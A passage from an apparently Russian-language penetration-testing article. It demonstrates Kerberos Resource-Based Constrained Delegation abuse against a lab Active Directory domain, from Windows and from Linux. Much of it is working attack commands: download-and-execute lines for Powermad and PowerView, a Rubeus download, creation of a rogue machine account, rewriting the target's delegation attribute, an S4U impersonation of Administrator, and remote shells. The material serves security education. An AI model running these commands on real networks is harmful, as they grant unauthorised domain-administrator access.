\u043f\u0443\u0433\u0430\u044e\u0449\u0438\u0439 \u0441\u0432\u043e\u0438\u043c\u0438 \u0440\u0430\u0437\u043c\u0435\u0440\u0430\u043c\u0438 \u0440\u0435\u0441\u0435\u0440\u0447 <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\">Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory<\/a>, \u0441\u0442\u0430\u0432\u0448\u0438\u0439 \u043a\u0440\u0430\u0435\u0443\u0433\u043e\u043b\u044c\u043d\u044b\u043c \u043a\u0430\u043c\u043d\u0435\u043c \u0432 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u043c \u043f\u0443\u043d\u043a\u0442\u0435 \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 RBCD Abuse, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0440\u0430\u0445 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 (\u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044e \u0441\u0441\u044b\u043b\u043a\u0438). \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043b\u0443\u0447\u0448\u0435 \u0432\u043c\u0435\u0441\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043c \u044d\u0442\u0443 \u0430\u0442\u0430\u043a\u0443 \u00ab\u0432\u0436\u0438\u0432\u0443\u044e\u00bb, \u0447\u0442\u043e\u0431\u044b \u0431\u043e\u043b\u0435\u0435 \u043f\u043b\u0430\u0432\u043d\u043e \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043d\u043e\u0432\u043e\u0432\u0432\u0435\u0434\u0435\u043d\u0438\u044f\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u043c \u0414\u0436\u0435\u0439\u043c\u0441\u043e\u043c \u0424\u043e\u0440\u0448\u043e\u0443 (<a href=\"https:\/\/twitter.com\/tiraniddo\">@tiraniddo<\/a>). \u041d\u0435\u0442\u0435\u0440\u043f\u0435\u043b\u0438\u0432\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u044b\u0433\u0430\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 3.<\/p>\n<h4>2.1 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f RBCD Abuse \u0441 Windows<\/h4>\n<p>\u0421 \u0434\u0430\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 \u044f \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043b\u0441\u044f \u0432 \u043c\u043e\u043c\u0435\u043d\u0442 <a href=\"https:\/\/snovvcrash.rocks\/2020\/12\/28\/htb-hades.html#abusing-kerberos-resource-based-constrained-delegation\">\u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f<\/a> \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 <a href=\"https:\/\/www.hackthebox.com\/home\/endgame\/view\/3\">Hades<\/a> \u043d\u0430 Hack The Box, \u0438 \u0432 \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u0442\u043e \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u0430\u043c\u044b\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u043c, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u044b\u0432\u0430\u0435\u0442 \u0432 AD-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 (\u043a\u0430\u043a \u0436\u0435 \u044f \u043e\u0448\u0438\u0431\u0430\u043b\u0441\u044f, \u0434\u0430?). \u041a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0431\u044c\u044e\u0437\u0430 RBCD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 Windows \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0442\u0440\u043e\u0439\u043a\u0438 \u0431\u043b\u0430\u0433\u043e\u0440\u043e\u0434\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432: <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\">Powermad<\/a>, <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Recon\/PowerView.ps1\">PowerView<\/a>, <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus<\/a>.<\/p>\n<p>\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u043c\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>TINYCORP\\AngaraUser<\/code>, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u0430\u0432\u043e\u043c \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043e\u0431\u044a\u0435\u043a\u0442 \u043c\u0430\u0448\u0438\u043d\u044b <code>MOSCOW.tinycorp.net<\/code>. \u0412 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u043b\u0443\u0436\u0431\u0430\u043c <code>MOSCOW<\/code> \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u0438\u043b\u0438 \u043b\u044e\u0431\u0430\u044f \u0434\u0440\u0443\u0433\u0430\u044f \u0423\u0417 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e SPN) \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u043f\u0438\u0441\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0435\u0433\u043e SID-\u0430 \u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>MOSCOW<\/code> \u0438 \u0434\u0430\u043b\u0435\u0435 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u0440\u0430\u0432\u043e \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 (\u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0445) \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 <code>MOSCOW<\/code>.<\/p>\n<p>\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 (\u0438\u043b\u0438, \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0441 \u0437\u0430\u043f\u0438\u0441\u044f\u043c\u0438 SPN) \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 Active Directory, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>ms-DS-MachineAccountQuota<\/code>, \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0440\u0430\u0432\u043d\u043e\u0435 10, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432, \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043e\u0431\u044b\u0447\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e. \u042d\u0442\u0438\u043c \u0438 \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 Powermad.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">Get-ADObject -Identity \"DC=tinycorp,DC=net\" -Properties * | select ms-ds-machineAccountQuota IEX(New-Object Net.WebClient).DownloadString(\"https:\/\/github.com\/Kevin-Robertson\/Powermad\/raw\/master\/Powermad.ps1\") New-MachineAccount -MachineAccount AngaraMachine -Password $(ConvertTo-SecureString \"Passw0rdMach1ne\" -AsPlainText -Force) -Verbose<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Windows)<\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0423\u0417 <code>TINYCORP\\AngaraMachine$<\/code>, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043a\u0440\u0430\u0444\u0442\u0438\u0442\u044c \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 DACL, \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f (<strong>Allow<\/strong>) <code>AngaraMachine$<\/code>, \u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u0442\u044c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 <code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 <code>MOSCOW<\/code>. \u0421\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PowerView, \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c ActiveDirectory.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">IEX(New-Object Net.WebClient).DownloadString(\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/raw\/dev\/Recon\/PowerView.ps1\") Get-DomainObjectAcl -Identity MOSCOW -ResolveGUIDs | ? {$_.ObjectAceType -eq \"ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity\" -and $_.SecurityIdentifier -eq \"S-1-5-21-1230029644-1443616230-1161330039-2187\"} $ComputerSid = Get-DomainComputer AngaraMachine -Properties ObjectSid -Verbose | Select -Expand ObjectSid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer MOSCOW -Verbose | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose Get-ADComputer MOSCOW -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity Get-ADComputer MOSCOW -Properties * | select DistinguishedName,Name,SID,sAMAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity | fc -Depth 1<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Windows)<\/figcaption><\/figure>\n<figure class=\"full-width\"><figcaption>\u0421\u043c\u043e\u0442\u0440\u0438\u043c DACL \u0432\u043d\u0443\u0442\u0440\u0438 msDS-AllowedToActOnBehalfOfOtherIdentity<\/figcaption><\/figure>\n<p>\u041d\u0443 \u0430 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c Rubeus \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a\u0438 S4U, \u0432 \u0445\u043e\u0434\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439, \u043a\u0430\u043a \u0431\u044b\u043b\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0440\u0430\u043d\u044c\u0448\u0435, \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b S4U2self &amp; S4U2proxy \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f TGS-\u0431\u0438\u043b\u0435\u0442\u0430 Kerberos \u0438 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0423\u0417 <code>TINYCORP\\Administrator<\/code> \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u043b\u0443\u0436\u0431 HOST \u0438 HTTP (\u0446\u0435\u043b\u0438\u043c\u0441\u044f \u0432 WinRM) \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 <code>MOSCOW<\/code>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"powershell\">wget https:\/\/github.com\/Flangvik\/SharpCollection\/raw\/master\/NetFramework_4.0_Any\/Rubeus.exe -o Rubeus.exe .\\Rubeus.exe hash \/password:Passw0rdMach1ne .\\Rubeus.exe s4u \/user:AngaraMachine$ \/rc4:1A4C60A12EFCAA9984543C5F759D3CFD \/impersonateuser:administrator \/msdsspn:host\/MOSCOW.tinycorp.net \/altservice:http \/nowrap \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show powershell Enter-PSSession MOSCOW.tinycorp.net<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Windows)<\/figcaption><\/figure>\n<p>\u0415\u0441\u043b\u0438 \u043b\u0435\u043d\u044c \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0435 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0443\u0447\u043d\u0443\u044e, \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <a href=\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\">\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u043e\u0440\u043a\u043e\u043c PowerView<\/a>, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442 <code>Set-DomainRBCD<\/code>, \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0448\u0435. \u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/snovvcrash.rocks\/2021\/08\/07\/htb-rpg.html#rbcd-from-windows\">\u0432 \u043c\u043e\u0435\u043c \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0438<\/a> \u0434\u0440\u0443\u0433\u043e\u0439 \u043b\u0430\u0431\u044b <a href=\"https:\/\/www.hackthebox.com\/home\/endgame\/view\/4\">RPG<\/a> \u0441 Hack The Box.<\/p>\n<h4>2.2 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f RBCD Abuse \u0441 Linux<\/h4>\n<p>\u0422\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043e \u0441 Linux-\u0445\u043e\u0441\u0442\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043a\u043e\u043b\u043b\u0435\u043a\u0446\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">Impacket<\/a>. \u041f\u043e\u043a\u0430\u0436\u0435\u043c \u044d\u0442\u043e.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/addcomputer.py\">addcomputer.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">cme ldap 172.22.0.2-3 -u AngaraUser -p 'Passw0rdUs3r!' cme ldap 172.22.0.2 -u AngaraUser -p 'Passw0rdUs3r!' -M MAQ findDelegation.py tinycorp.net\/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2 addcomputer.py -computer-name AngaraMachine -computer-pass 'Passw0rdMach1ne' -dc-ip 172.22.0.2 tinycorp.net\/AngaraUser:'Passw0rdUs3r!'<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 (Linux)<\/figcaption><\/figure>\n<p>\u041d\u0430\u0432\u0435\u0448\u0438\u0432\u0430\u0435\u043c \u0435\u0435 \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u0445\u043e\u0441\u0442 <code>MOSCOW<\/code>, \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043d\u0443\u044e \u0434\u043b\u044f \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f S4U \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/rbcd.py\">rbcd.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">rbcd.py -delegate-from 'AngaraMachine$' -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action write tinycorp.net\/AngaraUser:'Passw0rdUs3r!' rbcd.py -delegate-to 'MOSCOW$' -dc-ip 172.22.0.2 -action read tinycorp.net\/AngaraUser:'Passw0rdUs3r!' findDelegation.py tinycorp.net\/AngaraUser:'Passw0rdUs3r!' -dc-ip 172.22.0.2<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0418\u0437\u043c\u0435\u043d\u044f\u0435\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e msDS-AllowedToActOnBehalfOfOtherIdentity (Linux)<\/figcaption><\/figure>\n<p>\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0442\u0438\u043a\u0435\u0442 \u0441 \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0441\u043b\u0443\u0436\u0431\u044b CIFS (\u0446\u0435\u043b\u0438\u043c\u0441\u044f \u0432 DCE\/RPC) \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 <code>MOSCOW<\/code> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getST.py\">getST.py<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">getST.py -spn cifs\/MOSCOW tinycorp.net\/AngaraMachine:'Passw0rdMach1ne' -dc-ip 172.22.0.2 -impersonate administrator KRB5CCNAME=administrator.ccache wmiexec.py -k -no-pass MOSCOW -shell-type powershell<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u041f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u0430\u0442\u0430\u043a\u0443 S4U (Linux)<\/figcaption><\/figure>\n<p>\u042d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u044f\u0442\u044c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c RBCD \u00ab\u0432 \u043b\u043e\u0431\u00bb. \u0412 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u0442\u0430\u043a\u043e\u0435 \u0437\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043c\u0443\u0442\u0438\u0440\u0443\u0435\u0442, \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u0432 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u2014 \u043e\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a \u0434\u043b\u044f LPE (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u043e\u0432\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0439 Kerberos Relay) \u0434\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u043c\u0430\u043d\u0434 (\u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u043e\u0431 \u044d\u0442\u043e\u043c <a href=\"https:\/\/habr.com\/ru\/post\/594923\/\">\u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>).<\/p>\n<details class=\"spoiler\">\n<summary>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u0438\u0432\u043e \u043f\u043e \u0442\u0435\u043c\u0435<\/summary>\n<div 